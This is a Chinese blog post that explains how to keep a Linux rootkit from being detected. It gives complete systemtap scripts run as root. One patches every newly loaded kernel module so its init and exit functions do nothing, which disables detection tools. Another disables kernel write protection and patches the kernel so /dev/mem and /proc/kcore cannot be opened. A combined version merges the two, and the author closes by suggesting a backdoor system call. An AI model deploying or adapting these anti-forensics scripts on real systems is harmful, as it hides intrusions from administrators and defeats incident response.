Linux Rootkit如何避开内核检测的

Rootkit在登堂入室并得手后,还要记得把门锁上。

如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持低调静悄悄,这个话题我已经谈过了,诸如进程摘链,TCP链接摘链潜伏等等,详情参见:https://blog.csdn.net/dog250/article/details/105371830

https://blog.csdn.net/dog250/article/details/105394840

然则天网恢恢,疏而不漏,马脚总是要露出来的。如果已经被怀疑,如何反制呢?

其实第一时间采取反制措施势必重要!我们需要的只是占领制高点,让后续的侦测手段无从开展。

我们必须知道都有哪些侦测措施用来应对Rootkit,常见的,不外乎以下:

  • systemtap,raw kprobe/jprobe,ftrace等跟踪机制。它们通过内核模块起作用。

  • 自研内核模块,采用指令特征匹配,指令校验机制排查Rootkit。

  • gdb/kdb/crash调试机制,它们通过/dev/mem,/proc/kcore起作用。

和杀毒软件打架一样,Rootkit和反Rootkit也是互搏的对象。无论如何互搏,其战场均在内核态。

很显然,我们要做的就是:

  1. 第一时间封堵内核模块的加载。

  2. 第一时间封堵/dev/mem,/proc/kcore的打开。

行文至此,我们应该已经可以说出无数种方法来完成上面的事情,对我个人而言,我的风格肯定又是二进制hook,但这次我希望用一种 正规的方式 来搞事情。

什么是正规的方式,什么又是奇技淫巧呢?

我们知道,Linux内核的text段是在编译时静态确定的,加载时偶尔有重定向,但依然保持着紧凑的布局,所有的内核函数均在一个范围固定的紧凑内存空间内。

因此凡是往超过该固定范围的地方进行call/jmp的,基本都是违规,都应该严查。换句话说, 静态代码不能往动态内存进行直接的call/jmp(毕竟静态代码并不知道动态地址啊), 如果静态代码需要动态的函数完成某种任务,那么只能用 回调, 而回调函数在指令层面是要借助寄存器来寻址的,而不可能用rel32立即数来寻址。

如果我们在静态的代码中hack掉一条call/jmp指令,使得它以新的立即数作为操作数call/jmp到我们的动态代码,那么这就是一个奇技淫巧,这就是不正规的方式。

反之,如果我们调用Linux内核现成的接口注册一个回调函数来完成我们的任务,那么这就是一种正规的方式,本文中我将使用一种基于 内核通知链(notifier chain) 的正规技术,来封堵内核模块。

下面步入正题。

首先,我们来看第一点。下面的stap脚本展示了如何做:

  1. #!/usr/bin/stap -g

  2. // dismod.stp

  3. %{

  4. // 我们利用通知链机制。

  5. // 每当内核模块进行加载时,都会有消息在通知链上通知,我们只需要注册一个handler。

  6. // 我们的handler让该模块“假加载”!

  7. static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

  8. {

  9. int i;

  10. struct module *mod = (struct module *)data;

  11. unsigned char *init, *exit;

  12. unsigned long cr0;


  13. if (action != MODULE_STATE_COMING)

  14. return NOTIFY_OK;


  15. init = (unsigned char *)mod->init;

  16. exit = (unsigned char *)mod->exit;

  17. // 为了避免校准rel32调用偏移,直接使用汇编。

  18. asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);

  19. clear_bit(16, &cr0);

  20. asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

  21. // 把模块的init函数换成"return 0;"

  22. init[0] = 0x31; // xor %eax, %eax

  23. init[1] = 0xc0; // retq

  24. init[2] = 0xc3; // retq

  25. // 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。

  26. exit[0] = 0xc3;

  27. set_bit(16, &cr0);

  28. asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);


  29. return NOTIFY_OK;

  30. }


  31. struct notifier_block *dismod_module_nb;

  32. notifier_fn_t _dismod_module_notify;

  33. %}


  34. function dismod()

  35. %{

  36. int ret = 0;


  37. // 正规的方法,我们可以直接从vmalloc区域直接分配内存。

  38. dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

  39. if (!dismod_module_nb) {

  40. printk("malloc nb failed\n");

  41. return;

  42. }

  43. // 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。

  44. _dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

  45. if (!_dismod_module_notify) {

  46. printk("malloc stub failed\n");

  47. return;

  48. }


  49. memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

  50. dismod_module_nb->notifier_call = _dismod_module_notify;

  51. dismod_module_nb->priority = 1;


  52. ret = register_module_notifier(dismod_module_nb);

  53. if (ret) {

  54. printk("notifier register failed\n");

  55. return;

  56. }

  57. %}


  58. probe begin

  59. {

  60. dismod();

  61. exit();

  62. }

现在,让我们运行上述脚本:

  1. [root@localhost test]# ./dismod.stp

  2. [root@localhost test]#

我们的预期是,此后所有的模块将会 “假装” 成功加载进内核,但实际上并不起任何作用,因为模块的_init函数被短路绕过,不再执行。

来吧,我们写一个简单的内核模块,看看效果:

  1. // testmod.c

  2. #include <linux/module.h>


  3. noinline int test_module_function(int i)

  4. {

  5. printk("%d\n", i);

  6. // 我们的测试模块非常狠,一加载就让内核panic。

  7. panic("shabi");

  8. }


  9. static int __init testmod_init(void)

  10. {

  11. printk("init\n");

  12. test_module_function(1234);

  13. return 0;

  14. }


  15. static void __exit testmod_exit(void)

  16. {

  17. printk("exit\n");

  18. }


  19. module_init(testmod_init);

  20. module_exit(testmod_exit);

  21. MODULE_LICENSE("GPL");

如果我们在没有执行dismod.stp的情况下加载上述模块,显而易见,内核会panic,万劫不复。但实际上呢?

编译,加载之:

  1. [root@localhost test]# insmod ./testmod.ko

  2. [root@localhost test]# lsmod |grep testmod

  3. testmod 12472 0

  4. [root@localhost test]# cat /proc/kallsyms |grep testmod

  5. ffffffffa010b027 t testmod_exit [testmod]

  6. ffffffffa010d000 d __this_module [testmod]

  7. ffffffffa010b000 t test_module_function [testmod]

  8. ffffffffa010b027 t cleanup_module [testmod]

  9. [root@localhost test]# rmmod testmod

  10. [root@localhost test]#

  11. [root@localhost test]# echo $?

  12. 0

内核什么也没有打印,也并没有panic,相反,模块成功载入,并且其所有的符号均已经注册成功,并且还能成功卸载。这意味着,模块机制失效了!

我们试试还能使用systemtap么?

  1. [root@localhost ~]# stap -e 'probe kernel.function("do_fork") { printf("do_fork\n"); }'

  2. ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

  3. ERROR: Cannot attach to module stap_aa0322744e3a33fc0c3a1a7cd811d932_3097 control channel; not running?

  4. ERROR: 'stap_aa0322744e3a33fc0c3a1a7cd811d932_3097' is not a zombie systemtap module.

  5. WARNING: /usr/bin/staprun exited with status: 1

  6. Pass 5: run failed. [man error::pass5]

看来不行了。

假设该机制用于Rootkit的反侦测,如果想用stap跟踪内核,进而查出异常点,这一招已经失效。

接下来,让我们封堵/dev/mem,/proc/kcore,而这个简直太容易了:

  1. #!/usr/bin/stap -g

  2. // diskcore.stp

  3. function kcore_poke()

  4. %{

  5. unsigned char *_open_kcore, *_open_devmem;

  6. unsigned char ret_1[6];

  7. unsigned long cr0;


  8. _open_kcore = (void *)kallsyms_lookup_name("open_kcore");

  9. if (!_open_kcore)

  10. return;

  11. _open_devmem = (void *)kallsyms_lookup_name("open_port");

  12. if (!_open_devmem)

  13. return;


  14. // 下面的指令表示 return -1;即返回错误!也就意味着“文件不可打开”。

  15. ret_1[0] = 0xb8; // mov $-1, %eax;

  16. ret_1[1] = 0xff;

  17. ret_1[2] = 0xff;

  18. ret_1[3] = 0xff;

  19. ret_1[4] = 0xff;

  20. ret_1[5] = 0xc3; // retq


  21. // 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。

  22. cr0 = read_cr0();

  23. clear_bit(16, &cr0);

  24. write_cr0(cr0);

  25. // text内存已经可写,直接用memcpy来吧。

  26. memcpy(_open_kcore, ret_1, sizeof(ret_1));

  27. memcpy(_open_devmem, ret_1, sizeof(ret_1));

  28. set_bit(16, &cr0);

  29. write_cr0(cr0);

  30. %}


  31. probe begin

  32. {

  33. kcore_poke();

  34. exit();

  35. }

来吧,我们试一下crash命令:

  1. [root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem

  2. ...

  3. This program has absolutely no warranty. Enter "help warranty" for details.


  4. crash: /dev/mem: Operation not permitted


  5. Usage:


  6. crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS] (dumpfile form)

  7. crash [OPTION]... [NAMELIST] (live system form)


  8. Enter "crash -h" for details.

  9. [root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore

  10. ...

  11. crash: /proc/kcore: Operation not permitted

  12. ...

哈哈,完全无法调试live kernel了!试问如何抓住Rootkit现场?

注意,上面的两个机制,必须让禁用/dev/mem,/proc/kcore先于封堵模块执行,不然就会犯形而上学的错误,自己打自己。上述方案仅做演示,正确的做法应该是将它们合在一起:

  1. #!/usr/bin/stap -g

  2. // anti-sense.stp

  3. %{

  4. static int dismod_module_notify(struct notifier_block *self, unsigned long action, void *data)

  5. {

  6. int i;

  7. struct module *mod = (struct module *)data;

  8. unsigned char *init, *exit;

  9. unsigned long cr0;


  10. if (action != MODULE_STATE_COMING)

  11. return NOTIFY_OK;


  12. init = (unsigned char *)mod->init;

  13. exit = (unsigned char *)mod->exit;

  14. // 为了避免校准rel32调用偏移,直接使用汇编。

  15. asm volatile("mov %%cr0, %%r11; mov %%r11, %0;\n" :"=m"(cr0)::);

  16. clear_bit(16, &cr0);

  17. asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);

  18. // 把模块的init函数换成"return 0;"

  19. init[0] = 0x31; // xor %eax, %eax

  20. init[1] = 0xc0; // retq

  21. init[2] = 0xc3; // retq

  22. // 把模块的exit函数换成"return;"

  23. exit[0] = 0xc3;

  24. set_bit(16, &cr0);

  25. asm ( "mov %0, %%r11; mov %%r11, %%cr0;" ::"m"(cr0) :);


  26. return NOTIFY_OK;

  27. }


  28. struct notifier_block *dismod_module_nb;

  29. notifier_fn_t _dismod_module_notify;

  30. %}


  31. function diskcore()

  32. %{

  33. unsigned char *_open_kcore, *_open_devmem;

  34. unsigned char ret_1[6];

  35. unsigned long cr0;


  36. _open_kcore = (void *)kallsyms_lookup_name("open_kcore");

  37. if (!_open_kcore)

  38. return;

  39. _open_devmem = (void *)kallsyms_lookup_name("open_port");

  40. if (!_open_devmem)

  41. return;


  42. // 下面的指令表示 return -1;

  43. ret_1[0] = 0xb8; // mov $-1, %eax;

  44. ret_1[1] = 0xff;

  45. ret_1[2] = 0xff;

  46. ret_1[3] = 0xff;

  47. ret_1[4] = 0xff;

  48. ret_1[5] = 0xc3; // retq


  49. // 这次我们俗套一把,不用text poke,借用更简单的CR0来完成text的写。

  50. cr0 = read_cr0();

  51. clear_bit(16, &cr0);

  52. write_cr0(cr0);

  53. memcpy(_open_kcore, ret_1, sizeof(ret_1));

  54. memcpy(_open_devmem, ret_1, sizeof(ret_1));

  55. set_bit(16, &cr0);

  56. write_cr0(cr0);

  57. %}


  58. function dismod()

  59. %{

  60. int ret = 0;


  61. // 正规的方法,我们可以直接从vmalloc区域直接分配内存。

  62. dismod_module_nb = (struct notifier_block *)vmalloc(sizeof(struct notifier_block));

  63. if (!dismod_module_nb) {

  64. printk("malloc nb failed\n");

  65. return;

  66. }

  67. // 必须使用__vmalloc接口分配可执行(PAGE_KERNEL_EXEC)内存。

  68. _dismod_module_notify = (notifier_fn_t)__vmalloc(0xfff, GFP_KERNEL|__GFP_HIGHMEM, PAGE_KERNEL_EXEC);

  69. if (!_dismod_module_notify) {

  70. printk("malloc stub failed\n");

  71. return;

  72. }


  73. memcpy(_dismod_module_notify, dismod_module_notify, 0xfff);

  74. dismod_module_nb->notifier_call = _dismod_module_notify;

  75. dismod_module_nb->priority = 1;


  76. printk("notify addr:%p\n", _dismod_module_notify);

  77. ret = register_module_notifier(dismod_module_nb);

  78. if (ret) {

  79. printk("notify register failed\n");

  80. return;

  81. }

  82. %}


  83. probe begin

  84. {

  85. dismod();

  86. diskcore();

  87. exit();

  88. }

从此以后,若想逮到之前的那些Rootkit,你无法加载内核模块,无法crash调试,无法自己编程mmap /dev/mem,重启吧!重启之后呢?一切归于尘土。

然而,我们自己怎么办?这将把我们自己的退路也同时封死,只要使用电压冻结住内存快照,离线分析,真相必将大白!我们必须给自己留个退路,以便捣毁并恢复现场后,全身而退,怎么做到呢?

很容易,还记得在文章 Linux动态为内核添加新的系统调用 中的方法吗?我们封堵了前门的同时,以新增系统调用的方式留下后门,岂不是很正常的想法?

是的。经理也是这样想的。


浙江温州皮鞋湿,下雨进水不会胖。

(END)


Linux阅码场原创精华文章汇总
更多精彩,尽在"Linux阅码场",扫描下方二维码关注
转发和在看是最大的支持~